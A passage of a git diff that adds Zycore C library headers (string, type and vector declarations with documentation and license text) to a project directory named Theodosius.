`ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringToLowerCase(ZyanString* string); + +/** + * Converts `count` characters of the given string to lowercase letters. + * + * @param string A pointer to the `ZyanString` instance. + * @param index The start index. + * @param count The number of characters to convert, beginning from the start `index`. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringToLowerCaseEx(ZyanString* string, ZyanUSize index, + ZyanUSize count); + +/** + * Converts the given string to uppercase letters. + * + * @param string A pointer to the `ZyanString` instance. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringToUpperCase(ZyanString* string); + +/** + * Converts `count` characters of the given string to uppercase letters. + * + * @param string A pointer to the `ZyanString` instance. + * @param index The start index. + * @param count The number of characters to convert, beginning from the start `index`. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringToUpperCaseEx(ZyanString* string, ZyanUSize index, + ZyanUSize count); + +/* ---------------------------------------------------------------------------------------------- */ +/* Memory management */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Resizes the given `ZyanString` instance. + * + * @param string A pointer to the `ZyanString` instance. + * @param size The new size of the string. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringResize(ZyanString* string, ZyanUSize size); + +/** + * Changes the capacity of the given `ZyanString` instance. + * + * @param string A pointer to the `ZyanString` instance. + * @param capacity The new minimum capacity of the string. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringReserve(ZyanString* string, ZyanUSize capacity); + +/** + * Shrinks the capacity of the given string to match it's size. + * + * @param string A pointer to the `ZyanString` instance. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringShrinkToFit(ZyanString* string); + +/* ---------------------------------------------------------------------------------------------- */ +/* Information */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the current capacity of the string. + * + * @param string A pointer to the `ZyanString` instance. + * @param capacity Receives the size of the string. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringGetCapacity(const ZyanString* string, ZyanUSize* capacity); + +/** + * Returns the current size (number of characters) of the string (excluding the + * terminating zero character). + * + * @param string A pointer to the `ZyanString` instance. + * @param size Receives the size (number of characters) of the string. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringGetSize(const ZyanString* string, ZyanUSize* size); + +/** + * Returns the C-style string of the given `ZyanString` instance. + * + * @param string A pointer to the `ZyanString` instance. + * @param value Receives a pointer to the C-style string. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringGetData(const ZyanString* string, const char** value); + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif // ZYCORE_STRING_H diff --git a/Theodosius/Zycore/Types.h b/Theodosius/Zycore/Types.h new file mode 100644 index 0000000..74fe905 --- /dev/null +++ b/Theodosius/Zycore/Types.h @@ -0,0 +1,195 @@ +/*************************************************************************************************** + + Zyan Core Library (Zyan-C) + + Original Author : Florian Bernd, Joel Hoener + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Includes and defines some default data types. + */ + +#ifndef ZYCORE_TYPES_H +#define ZYCORE_TYPES_H + +#include + +/* ============================================================================================== */ +/* Integer types */ +/* ============================================================================================== */ + +#if defined(ZYAN_NO_LIBC) || \ + (defined(ZYAN_MSVC) && defined(ZYAN_KERNEL)) // The WDK LibC lacks stdint.h. + // No LibC mode, use compiler built-in types / macros. +# if defined(ZYAN_MSVC) || defined(ZYAN_ICC) + typedef unsigned __int8 ZyanU8; + typedef unsigned __int16 ZyanU16; + typedef unsigned __int32 ZyanU32; + typedef unsigned __int64 ZyanU64; + typedef signed __int8 ZyanI8; + typedef signed __int16 ZyanI16; + typedef signed __int32 ZyanI32; + typedef signed __int64 ZyanI64; +# if _WIN64 + typedef ZyanU64 ZyanUSize; + typedef ZyanI64 ZyanISize; + typedef ZyanU64 ZyanUPointer; + typedef ZyanI64 ZyanIPointer; +# else + typedef ZyanU32 ZyanUSize; + typedef ZyanI32 ZyanISize; + typedef ZyanU32 ZyanUPointer; + typedef ZyanI32 ZyanIPointer; +# endif +# elif defined(ZYAN_GNUC) + typedef __UINT8_TYPE__ ZyanU8; + typedef __UINT16_TYPE__ ZyanU16; + typedef __UINT32_TYPE__ ZyanU32; + typedef __UINT64_TYPE__ ZyanU64; + typedef __INT8_TYPE__ ZyanI8; + typedef __INT16_TYPE__ ZyanI16; + typedef __INT32_TYPE__ ZyanI32; + typedef __INT64_TYPE__ ZyanI64; + typedef __SIZE_TYPE__ ZyanUSize; + typedef __PTRDIFF_TYPE__ ZyanISize; + typedef __UINTPTR_TYPE__ ZyanUPointer; + typedef __INTPTR_TYPE__ ZyanIPointer; +# else +# error "Unsupported compiler for no-libc mode." +# endif +#else + // If is LibC present, we use stdint types. +# include +# include + typedef uint8_t ZyanU8; + typedef uint16_t ZyanU16; + typedef uint32_t ZyanU32; + typedef uint64_t ZyanU64; + typedef int8_t ZyanI8; + typedef int16_t ZyanI16; + typedef int32_t ZyanI32; + typedef int64_t ZyanI64; + typedef size_t ZyanUSize; + typedef ptrdiff_t ZyanISize; + typedef uintptr_t ZyanUPointer; + typedef intptr_t ZyanIPointer; +#endif + +// Verify size assumptions. +ZYAN_STATIC_ASSERT(sizeof(ZyanU8 ) == 1 ); +ZYAN_STATIC_ASSERT(sizeof(ZyanU16 ) == 2 ); +ZYAN_STATIC_ASSERT(sizeof(ZyanU32 ) == 4 ); +ZYAN_STATIC_ASSERT(sizeof(ZyanU64 ) == 8 ); +ZYAN_STATIC_ASSERT(sizeof(ZyanI8 ) == 1 ); +ZYAN_STATIC_ASSERT(sizeof(ZyanI16 ) == 2 ); +ZYAN_STATIC_ASSERT(sizeof(ZyanI32 ) == 4 ); +ZYAN_STATIC_ASSERT(sizeof(ZyanI64 ) == 8 ); +ZYAN_STATIC_ASSERT(sizeof(ZyanUSize ) == sizeof(void*)); // TODO: This one is incorrect! +ZYAN_STATIC_ASSERT(sizeof(ZyanISize ) == sizeof(void*)); // TODO: This one is incorrect! +ZYAN_STATIC_ASSERT(sizeof(ZyanUPointer) == sizeof(void*)); +ZYAN_STATIC_ASSERT(sizeof(ZyanIPointer) == sizeof(void*)); + +// Verify signedness assumptions (relies on size checks above). +ZYAN_STATIC_ASSERT((ZyanI8 )-1 >> 1 < (ZyanI8 )((ZyanU8 )-1 >> 1)); +ZYAN_STATIC_ASSERT((ZyanI16)-1 >> 1 < (ZyanI16)((ZyanU16)-1 >> 1)); +ZYAN_STATIC_ASSERT((ZyanI32)-1 >> 1 < (ZyanI32)((ZyanU32)-1 >> 1)); +ZYAN_STATIC_ASSERT((ZyanI64)-1 >> 1 < (ZyanI64)((ZyanU64)-1 >> 1)); + +/* ============================================================================================== */ +/* Pointer */ +/* ============================================================================================== */ + +/** + * Defines the `ZyanVoidPointer` data-type. + */ +typedef char* ZyanVoidPointer; + +/** + * Defines the `ZyanConstVoidPointer` data-type. + */ +typedef const void* ZyanConstVoidPointer; + +#define ZYAN_NULL ((void*)0) + +/* ============================================================================================== */ +/* Logic types */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Boolean */ +/* ---------------------------------------------------------------------------------------------- */ + +#define ZYAN_FALSE 0 +#define ZYAN_TRUE 1 + +/** + * Defines the `ZyanBool` data-type. + * + * Represents a default boolean data-type where `0` is interpreted as `false` and all other values + * as `true`. + */ +typedef ZyanU8 ZyanBool; + +/* ---------------------------------------------------------------------------------------------- */ +/* Ternary */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZyanTernary` data-type. + * + * The `ZyanTernary` is a balanced ternary type that uses three truth values indicating `true`, + * `false` and an indeterminate third value. + */ +typedef ZyanI8 ZyanTernary; + +#define ZYAN_TERNARY_FALSE (-1) +#define ZYAN_TERNARY_UNKNOWN 0x00 +#define ZYAN_TERNARY_TRUE 0x01 + +/* ============================================================================================== */ +/* String types */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* C-style strings */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZyanCharPointer` data-type. + * + * This type is most often used to represent null-terminated strings aka. C-style strings. + */ +typedef char* ZyanCharPointer; + +/** + * Defines the `ZyanConstCharPointer` data-type. + * + * This type is most often used to represent null-terminated strings aka. C-style strings. + */ +typedef const char* ZyanConstCharPointer; + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#endif /* ZYCORE_TYPES_H */ diff --git a/Theodosius/Zycore/Vector.h b/Theodosius/Zycore/Vector.h new file mode 100644 index 0000000..47e728c --- /dev/null +++ b/Theodosius/Zycore/Vector.h @@ -0,0 +1,723 @@ +/*************************************************************************************************** + + Zyan Core Library (Zycore-C) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Implements the vector container class. + */ + +#ifndef ZYCORE_VECTOR_H +#define ZYCORE_VECTOR_H + +#include +#include +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Constants */ +/* ============================================================================================== */ + +/** + * The initial minimum capacity (number of elements) for all dynamically allocated vector + * instances. + */ +#define ZYAN_VECTOR_MIN_CAPACITY 1 + +/** + * The default growth factor for all vector instances. + */ +#define ZYAN_VECTOR_DEFAULT_GROWTH_FACTOR 2.00f + +/** + * The default shrink threshold for all vector instances. + */ +#define ZYAN_VECTOR_DEFAULT_SHRINK_THRESHOLD 0.25f + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +/** + * Defines the `ZyanVector` struct. + * + * All fields in this struct should be considered as "private". Any changes may lead to unexpected + * behavior. + */ +typedef struct ZyanVector_ +{ + /** + * The memory allocator. + */ + ZyanAllocator* allocator; + /** + * The growth factor. + */ + float growth_factor; + /** + * The shrink threshold. + */ + float shrink_threshold; + /** + * The current number of elements in the vector. + */ + ZyanUSize size; + /** + * The maximum capacity (number of elements). + */ + ZyanUSize capacity; + /** + * The size of a single element in bytes. + */ + ZyanUSize element_size; + /** + * The element destructor callback. + */ + ZyanMemberProcedure destructor; + /** + * The data pointer. + */ + void* data; +} ZyanVector; + +/* ============================================================================================== */ +/* Macros */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* General */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines an uninitialized `ZyanVector` instance. + */ +#define ZYAN_VECTOR_INITIALIZER \ + { \ + /* allocator */ ZYAN_NULL, \ + /* growth_factor */ 0.0f, \ + /* shrink_threshold */ 0.0f, \ + /* size */ 0, \ + /* capacity */ 0, \ + /* element_size */ 0, \ + /* destructor */ ZYAN_NULL, \ + /* data */ ZYAN_NULL \ + } + +/* ---------------------------------------------------------------------------------------------- */ +/* Helper macros */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the value of the element at the given `index`. + * + * @param type The desired value type. + * @param vector A pointer to the `ZyanVector` instance. + * @param index The element index. + * + * @result The value of the desired element in the vector. + * + * Note that this function is unsafe and might dereference a null-pointer. + */ +#ifdef __cplusplus +#define ZYAN_VECTOR_GET(type, vector, index) \ + (*reinterpret_cast(ZyanVectorGet(vector, index))) +#else +#define ZYAN_VECTOR_GET(type, vector, index) \ + (*(const type*)ZyanVectorGet(vector, index)) +#endif + +/** + * Loops through all elements of the vector. + * + * @param type The desired value type. + * @param vector A pointer to the `ZyanVector` instance. + * @param item_name The name of the iterator item. + * @param body The body to execute for each item in the vector. + */ +#define ZYAN_VECTOR_FOREACH(type, vector, item_name, body) \ + { \ + const ZyanUSize ZYAN_MACRO_CONCAT_EXPAND(size_d50d3303, item_name) = (vector)->size; \ + for (ZyanUSize ZYAN_MACRO_CONCAT_EXPAND(i_bfd62679, item_name) = 0; \ + ZYAN_MACRO_CONCAT_EXPAND(i_bfd62679, item_name) < \ + ZYAN_MACRO_CONCAT_EXPAND(size_d50d3303, item_name); \ + ++ZYAN_MACRO_CONCAT_EXPAND(i_bfd62679, item_name)) \ + { \ + const type item_name = ZYAN_VECTOR_GET(type, vector, \ + ZYAN_MACRO_CONCAT_EXPAND(i_bfd62679, item_name)); \ + body \ + } \ + } + +/** + * Loops through all elements of the vector. + * + * @param type The desired value type. + * @param vector A pointer to the `ZyanVector` instance. + * @param item_name The name of the iterator item. + * @param body The body to execute for each item in the vector. + */ +#define ZYAN_VECTOR_FOREACH_MUTABLE(type, vector, item_name, body) \ + { \ + const ZyanUSize ZYAN_MACRO_CONCAT_EXPAND(size_d50d3303, item_name) = (vector)->size; \ + for (ZyanUSize ZYAN_MACRO_CONCAT_EXPAND(i_bfd62679, item_name) = 0; \ + ZYAN_MACRO_CONCAT_EXPAND(i_bfd62679, item_name) < \ + ZYAN_MACRO_CONCAT_EXPAND(size_d50d3303, item_name); \ + ++ZYAN_MACRO_CONCAT_EXPAND(i_bfd62679, item_name)) \ + { \ + type* const item_name = ZyanVectorGetMutable(vector, \ + ZYAN_MACRO_CONCAT_EXPAND(i_bfd62679, item_name)); \ + body \ + } \ + } + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Constructor and destructor */ +/* ---------------------------------------------------------------------------------------------- */ + +#ifndef ZYAN_NO_LIBC + +/** + * Initializes the given `ZyanVector` instance. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param element_size The size of a single element in bytes. + * @param capacity The initial capacity (number of elements). + * @param destructor A destructor callback that is invoked every time an item is deleted, or + * `ZYAN_NULL` if not needed. + * + * @return A zyan status code. + * + * The memory for the vector elements is dynamically allocated by the default allocator using the + * default growth factor of `2.0f` and the default shrink threshold of `0.25f`. + * + * Finalization with `ZyanVectorDestroy` is required for all instances created by this function. + */ +ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanStatus ZyanVectorInit(ZyanVector* vector, + ZyanUSize element_size, ZyanUSize capacity, ZyanMemberProcedure destructor); + +#endif // ZYAN_NO_LIBC + +/** + * Initializes the given `ZyanVector` instance and sets a custom `allocator` and memory + * allocation/deallocation parameters. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param element_size The size of a single element in bytes. + * @param capacity The initial capacity (number of elements). + * @param destructor A destructor callback that is invoked every time an item is deleted, + * or `ZYAN_NULL` if not needed. + * @param allocator A pointer to a `ZyanAllocator` instance. + * @param growth_factor The growth factor (from `1.0f` to `x.xf`). + * @param shrink_threshold The shrink threshold (from `0.0f` to `1.0f`). + * + * @return A zyan status code. + * + * A growth factor of `1.0f` disables overallocation and a shrink threshold of `0.0f` disables + * dynamic shrinking. + * + * Finalization with `ZyanVectorDestroy` is required for all instances created by this function. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorInitEx(ZyanVector* vector, ZyanUSize element_size, + ZyanUSize capacity, ZyanMemberProcedure destructor, ZyanAllocator* allocator, + float growth_factor, float shrink_threshold); + +/** + * Initializes the given `ZyanVector` instance and configures it to use a custom user + * defined buffer with a fixed size. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param element_size The size of a single element in bytes. + * @param buffer A pointer to the buffer that is used as storage for the elements. + * @param capacity The maximum capacity (number of elements) of the buffer. + * @param destructor A destructor callback that is invoked every time an item is deleted, or + * `ZYAN_NULL` if not needed. + * + * @return A zyan status code. + * + * Finalization is not required for instances created by this function. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorInitCustomBuffer(ZyanVector* vector, ZyanUSize element_size, + void* buffer, ZyanUSize capacity, ZyanMemberProcedure destructor); + +/** + * Destroys the given `ZyanVector` instance. + * + * @param vector A pointer to the `ZyanVector` instance.. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorDestroy(ZyanVector* vector); + +/* ---------------------------------------------------------------------------------------------- */ +/* Duplication */ +/* ---------------------------------------------------------------------------------------------- */ + +#ifndef ZYAN_NO_LIBC + +/** + * Initializes a new `ZyanVector` instance by duplicating an existing vector. + * + * @param destination A pointer to the (uninitialized) destination `ZyanVector` instance. + * @param source A pointer to the source vector. + * @param capacity The initial capacity (number of elements). + * + * This value is automatically adjusted to the size of the source vector, if + * a smaller value was passed. + * + * @return A zyan status code. + * + * The memory for the vector is dynamically allocated by the default allocator using the default + * growth factor of `2.0f` and the default shrink threshold of `0.25f`. + * + * Finalization with `ZyanVectorDestroy` is required for all instances created by this function. + */ +ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanStatus ZyanVectorDuplicate(ZyanVector* destination, + const ZyanVector* source, ZyanUSize capacity); + +#endif // ZYAN_NO_LIBC + +/** + * Initializes a new `ZyanVector` instance by duplicating an existing vector and sets a + * custom `allocator` and memory allocation/deallocation parameters. + * + * @param destination A pointer to the (uninitialized) destination `ZyanVector` instance. + * @param source A pointer to the source vector. + * @param capacity The initial capacity (number of elements). + + * This value is automatically adjusted to the size of the source + * vector, if a smaller value was passed. + * @param allocator A pointer to a `ZyanAllocator` instance. + * @param growth_factor The growth factor (from `1.0f` to `x.xf`). + * @param shrink_threshold The shrink threshold (from `0.0f` to `1.0f`). + * + * @return A zyan status code. + * + * A growth factor of `1.0f` disables overallocation and a shrink threshold of `0.0f` disables + * dynamic shrinking. + * + * Finalization with `ZyanVectorDestroy` is required for all instances created by this function. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorDuplicateEx(ZyanVector* destination, const ZyanVector* source, + ZyanUSize capacity, ZyanAllocator* allocator, float growth_factor, float shrink_threshold); + +/** + * Initializes a new `ZyanVector` instance by duplicating an existing vector and + * configures it to use a custom user defined buffer with a fixed size. + * + * @param destination A pointer to the (uninitialized) destination `ZyanVector` instance. + * @param source A pointer to the source vector. + * @param buffer A pointer to the buffer that is used as storage for the elements. + * @param capacity The maximum capacity (number of elements) of the buffer. + + * This function will fail, if the capacity of the buffer is less than the + * size of the source vector. + * + * @return A zyan status code. + * + * Finalization is not required for instances created by this function. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorDuplicateCustomBuffer(ZyanVector* destination, + const ZyanVector* source, void* buffer, ZyanUSize capacity); + +/* ---------------------------------------------------------------------------------------------- */ +/* Element access */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns a constant pointer to the element at the given `index`. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param index The element index. + * + * @return A constant pointer to the desired element in the vector or `ZYAN_NULL`, if an error + * occured. + * + * Note that the returned pointer might get invalid when the vector is resized by either a manual + * call to the memory-management functions or implicitly by inserting or removing elements. + * + * Take a look at `ZyanVectorGetPointer` instead, if you need a function that returns a zyan status + * code. + */ +ZYCORE_EXPORT const void* ZyanVectorGet(const ZyanVector* vector, ZyanUSize index); + +/** + * Returns a mutable pointer to the element at the given `index`. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param index The element index. + * + * @return A mutable pointer to the desired element in the vector or `ZYAN_NULL`, if an error + * occured. + * + * Note that the returned pointer might get invalid when the vector is resized by either a manual + * call to the memory-management functions or implicitly by inserting or removing elements. + * + * Take a look at `ZyanVectorGetPointerMutable` instead, if you need a function that returns a + * zyan status code. + */ +ZYCORE_EXPORT void* ZyanVectorGetMutable(const ZyanVector* vector, ZyanUSize index); + +/** + * Returns a constant pointer to the element at the given `index`. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param index The element index. + * @param value Receives a constant pointer to the desired element in the vector. + * + * Note that the returned pointer might get invalid when the vector is resized by either a manual + * call to the memory-management functions or implicitly by inserting or removing elements. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorGetPointer(const ZyanVector* vector, ZyanUSize index, + const void** value); + +/** + * Returns a mutable pointer to the element at the given `index`. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param index The element index. + * @param value Receives a mutable pointer to the desired element in the vector. + * + * Note that the returned pointer might get invalid when the vector is resized by either a manual + * call to the memory-management functions or implicitly by inserting or removing elements. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorGetPointerMutable(const ZyanVector* vector, ZyanUSize index, + void** value); + +/** + * Assigns a new value to the element at the given `index`. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param index The value index. + * @param value The value to assign. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorSet(ZyanVector* vector, ZyanUSize index, + const void* value); + +/* ---------------------------------------------------------------------------------------------- */ +/* Insertion */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Adds a new `element` to the end of the vector. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param element A pointer to the element to add. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorPushBack(ZyanVector* vector, const void* element); + +/** + * Inserts an `element` at the given `index` of the vector. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param index The insert index. + * @param element A pointer to the element to insert. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorInsert(ZyanVector* vector, ZyanUSize index, + const void* element); + +/** + * Inserts multiple `elements` at the given `index` of the vector. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param index The insert index. + * @param elements A pointer to the first element. + * @param count The number of elements to insert. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorInsertRange(ZyanVector* vector, ZyanUSize index, + const void* elements, ZyanUSize count); + +/** + * Constructs an `element` in-place at the end of the vector. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param element Receives a pointer to the new element. + * @param constructor The constructor callback or `ZYAN_NULL`. The new element will be in + * undefined state, if no constructor was passed. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorEmplace(ZyanVector* vector, void** element, + ZyanMemberFunction constructor); + +/** + * Constructs an `element` in-place and inserts it at the given `index` of the vector. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param index The insert index. + * @param element Receives a pointer to the new element. + * @param constructor The constructor callback or `ZYAN_NULL`. The new element will be in + * undefined state, if no constructor was passed. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorEmplaceEx(ZyanVector* vector, ZyanUSize index, + void** element, ZyanMemberFunction constructor); + +/* ---------------------------------------------------------------------------------------------- */ +/* Utils */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Swaps the element at `index_first` with the element at `index_second`. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param index_first The index of the first element. + * @param index_second The index of the second element. + * + * @return A zyan status code. + * + * This function requires the vector to have spare capacity for one temporary element. Call + * `ZyanVectorReserve` before this function to increase capacity, if needed. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorSwapElements(ZyanVector* vector, ZyanUSize index_first, + ZyanUSize index_second); + +/* ---------------------------------------------------------------------------------------------- */ +/* Deletion */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Deletes the element at the given `index` of the vector. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param index The element index. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorDelete(ZyanVector* vector, ZyanUSize index); + +/** + * Deletes multiple elements from the given vector, starting at `index`. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param index The index of the first element to delete. + * @param count The number of elements to delete. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorDeleteRange(ZyanVector* vector, ZyanUSize index, + ZyanUSize count); + +/** + * Removes the last element of the vector. + * + * @param vector A pointer to the `ZyanVector` instance. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorPopBack(ZyanVector* vector); + +/** + * Erases all elements of the given vector. + * + * @param vector A pointer to the `ZyanVector` instance. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorClear(ZyanVector* vector); + +/* ---------------------------------------------------------------------------------------------- */ +/* Searching */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Sequentially searches for the first occurrence of `element` in the given vector. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param element A pointer to the element to search for. + * @param found_index A pointer to a variable that receives the index of the found element. + * @param comparison The comparison function to use. + * + * @return `ZYAN_STATUS_TRUE` if the element was found, `ZYAN_STATUS_FALSE` if not or a generic + * zyan status code if an error occured. + * + * The `found_index` is set to `-1`, if the element was not found. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorFind(const ZyanVector* vector, const void* element, + ZyanISize* found_index, ZyanEqualityComparison comparison); + +/** + * Sequentially searches for the first occurrence of `element` in the given vector. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param element A pointer to the element to search for. + * @param found_index A pointer to a variable that receives the index of the found element. + * @param comparison The comparison function to use. + * @param index The start index. + * @param count The maximum number of elements to iterate, beginning from the start `index`. + * + * @return `ZYAN_STATUS_TRUE` if the element was found, `ZYAN_STATUS_FALSE` if not or a generic + * zyan status code if an error occured. + * + * The `found_index` is set to `-1`, if the element was not found. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorFindEx(const ZyanVector* vector, const void* element, + ZyanISize* found_index, ZyanEqualityComparison comparison, ZyanUSize index, ZyanUSize count); + +/** + * Searches for the first occurrence of `element` in the given vector using a binary- + * search algorithm. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param element A pointer to the element to search for. + * @param found_index A pointer to a variable that receives the index of the found element. + * @param comparison The comparison function to use. + * + * @return `ZYAN_STATUS_TRUE` if the element was found, `ZYAN_STATUS_FALSE` if not or a generic + * zyan status code if an error occured. + * + * If found, `found_index` contains the zero-based index of `element`. If not found, `found_index` + * contains the index of the first entry larger than `element`. + * + * This function requires all elements in the vector to be strictly ordered (sorted). + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorBinarySearch(const ZyanVector* vector, const void* element, + ZyanUSize* found_index, ZyanComparison comparison); + +/** + * Searches for the first occurrence of `element` in the given vector using a binary- + * search algorithm. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param element A pointer to the element to search for. + * @param found_index A pointer to a variable that receives the index of the found element. + * @param comparison The comparison function to use. + * @param index The start index. + * @param count The maximum number of elements to iterate, beginning from the start `index`. + * + * @return `ZYAN_STATUS_TRUE` if the element was found, `ZYAN_STATUS_FALSE` if not or a generic + * zyan status code if an error occured. + * + * If found, `found_index` contains the zero-based index of `element`. If not found, `found_index` + * contains the index of the first entry larger than `element`. + * + * This function requires all elements in the vector to be strictly ordered (sorted). + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorBinarySearchEx(const ZyanVector* vector, const void* element, + ZyanUSize* found_index, ZyanComparison comparison, ZyanUSize index, ZyanUSize count); + +/* ---------------------------------------------------------------------------------------------- */ +/* Memory management */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Resizes the given `ZyanVector` instance. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param size The new size of the vector. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorResize(ZyanVector* vector, ZyanUSize size); + +/** + * Resizes the given `ZyanVector` 